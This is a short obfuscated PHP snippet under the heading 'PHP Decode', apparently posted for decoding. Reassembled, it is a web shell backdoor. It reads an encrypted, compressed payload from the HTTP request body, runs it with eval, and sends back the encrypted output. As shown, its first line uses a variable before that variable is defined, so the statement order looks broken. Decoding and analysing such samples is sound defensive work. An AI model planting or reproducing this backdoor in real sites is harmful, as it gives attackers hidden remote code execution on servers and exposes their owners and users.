PHP Decode

<?php 
$j = $t('', $l); 
$t = str_replace('N', '', 'cNreaNtNe_fuNncNtNion'); 
$K = '$k=~"9e94b15~e";$kh=~"~d312fa4223~2f";~~$kf="d87a5~5db0d39"~;$p="L4tm~vmn'; 
$k = 'or($i=~0;$~i<~$l~;){for($j=0~;(~$j<$c&&$i~<$l);$j++,$~i+~+){$~o.=$t{$~i}^'; 
$D = 'ntents~("~php:~//input"),$m)~==1)~{~~@ob_start();@e~val(@gzun~compres~~s'; 
$W = 'n~();~$~r=@ba~se64_~encode(@x(~@~gzcompres~s($o),$k));~print("~$p$kh$r~$kf");}'; 
$b = 'Y~5cBad9~C~~R";function x($t,$k~)~{$c=str~~len($k);$l=strle~n($t)~;$o="~";f'; 
$P = '$k~{$j};}}return ~$o;~~}if(~@preg_~match("/$k~h(.+)~$~kf/",@fil~e_get_co'; 
$F = '(@x(@b~ase64_de~code($m~[1]),$k)~));$o=~@ob_ge~t_~c~ontents();@o~b_end_clea'; 
$l = str_replace('~', '', $K . $b . $k . $P . $D . $F . $W); 
$j(); 
?>